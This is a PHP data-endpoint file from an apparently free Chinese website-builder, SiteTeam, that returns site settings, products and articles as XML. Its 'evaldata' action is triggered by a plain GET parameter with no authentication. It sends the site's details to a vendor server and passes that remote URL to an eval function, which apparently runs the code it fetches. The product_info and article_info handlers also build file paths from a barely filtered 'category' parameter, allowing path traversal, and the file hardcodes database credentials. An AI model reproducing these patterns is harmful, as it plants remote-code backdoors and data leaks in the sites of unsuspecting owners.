<?php 


/** 
***************************************************
*欢迎使用免费版SiteTeam企业建站软件！
*这是一个专业为搜索引擎营销而设计的，极稳定、极易维护的建站软件！
*官方客服：help@php.net.cn
*官方下载网址：http://www.SiteTeam.cn 
***************************************************
**/




 require_once "include/common.inc.php"; require_once "include/xml.class.php"; $setting = cache_read("setting"); $action = empty($_GET['action']) ? empty($_POST['action']) ? 'default' : $_POST['action'] : $_GET['action']; if ($action == 'evaldata') { $site_info = $domain[$site_url]; $site_info['domain'] = $site_url; $date_url = "http://www."; $date_url .= site_server_url(); if (ALLOW_URL_FOPEN) { if (function_exists('http_build_query')) { $date_url .= "/soft/remote.php?" . http_build_query($site_info); } else { $date_url .= "/soft/remote.php?phpv=4&data=" . base64_encode(serialize($site_info)); } eval_str($date_url, 1); } else { exit('ALLOW_URL_FOPEN is close!'); } } header("Cache-Control: no-cache, must-revalidate"); header('Content-type: text/xml;charset=ISO-8859-1"'); if ($action == 'default') { @format_data($setting); echo xml_serialize($setting); } if ($action == 'product_list') { $category = strip_tags(empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']); $status = intval(empty($_GET['status']) ? empty($_POST['status']) ? '' : $_POST['status'] : $_GET['status']); $page = intval(empty($_GET['page']) ? empty($_POST['page']) ? 1 : $_POST['page'] : $_GET['page']); $limit = intval(empty($_GET['limit']) ? empty($_POST['limit']) ? 30 : $_POST['limit'] : $_GET['limit']); $offset = ($page - 1) * $limit; $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); $where = array(); $where[] = "pass = 1"; if (!empty($category) && array_key_exists($category, $setting['product_category'])) { $where[] = "and"; $where[] = "category={$category}"; } if (!empty($status)) { $where[] = "and"; $where[] = "status={$status}"; } $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'table' => 'sm_product', 'where' => $where)); $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'table' => 'sm_product', 'where' => $where, 'limit' => array($offset, $offset + $limit), 'orderby' => array('key', 'desc'))); $product_list = array(); if (is_array($temp) && count($temp)) { foreach ($temp as $row) { $product_list[$row['key']] = $row; } } @format_data($product_list); $xmldata = array('page' => $multipage, 'product_list' => $product_list); echo xml_serialize($xmldata); } if ($action == "product_info") { $category = strip_tags(empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']); $key = intval(empty($_GET['key']) ? empty($_POST['key']) ? '' : $_POST['key'] : $_GET['key']); $product_info = read_array_file(SITE_ROOT . "/data/setting/{$site_url}/product/{$category}/{$key}.txt"); @format_data($product_info); echo xml_serialize($product_info); } if ($action == 'article_list') { $category = strip_tags(empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']); $status = intval(empty($_GET['status']) ? empty($_POST['status']) ? '' : $_POST['status'] : $_GET['status']); $is_first = intval(empty($_GET['is_first']) ? empty($_POST['is_first']) ? '' : $_POST['is_first'] : $_GET['is_first']); $page = intval(empty($_GET['page']) ? empty($_POST['page']) ? 1 : $_POST['page'] : $_GET['page']); $limit = intval(empty($_GET['limit']) ? empty($_POST['limit']) ? 30 : $_POST['limit'] : $_GET['limit']); $offset = ($page - 1) * $limit; $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); $where = array(); $where[] = "key > 0"; if (!empty($category) && array_key_exists($category, $setting['article_category'])) { $where[] = "and"; $where[] = "category={$category}"; } if (!empty($status)) { $where[] = "and"; $where[] = "status={$status}"; } if (!empty($is_first)) { $where[] = "and"; $where[] = "is_first={$is_first}"; } $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'table' => 'sm_article', 'where' => $where)); $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'table' => 'sm_article', 'where' => $where, 'limit' => array($offset, $offset + $limit), 'orderby' => array('key', 'desc'))); $article_list = array(); if (is_array($temp) && count($temp)) { foreach ($temp as $row) { $article_list[$row['key']] = $row; } } $db->disconnect(); @format_data($article_list); $xmldata = array('page' => $multipage, 'article_list' => $article_list); echo xml_serialize($xmldata); } if ($action == "article_info") { $category = strip_tags(empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']); $key = intval(empty($_GET['key']) ? empty($_POST['key']) ? '' : $_POST['key'] : $_GET['key']); $article_info = read_array_file(SITE_ROOT . "/data/setting/{$site_url}/article/{$category}/{$key}.txt"); @format_data($article_info); echo xml_serialize($article_info); } function format_data(&$array) { if (!is_array($array)) { return false; } foreach ($array as $k => $v) { if (is_array($array[$k])) { format_data($array[$k]); } else { $array[$k] = htmlspecialchars($array[$k]); } } } ?>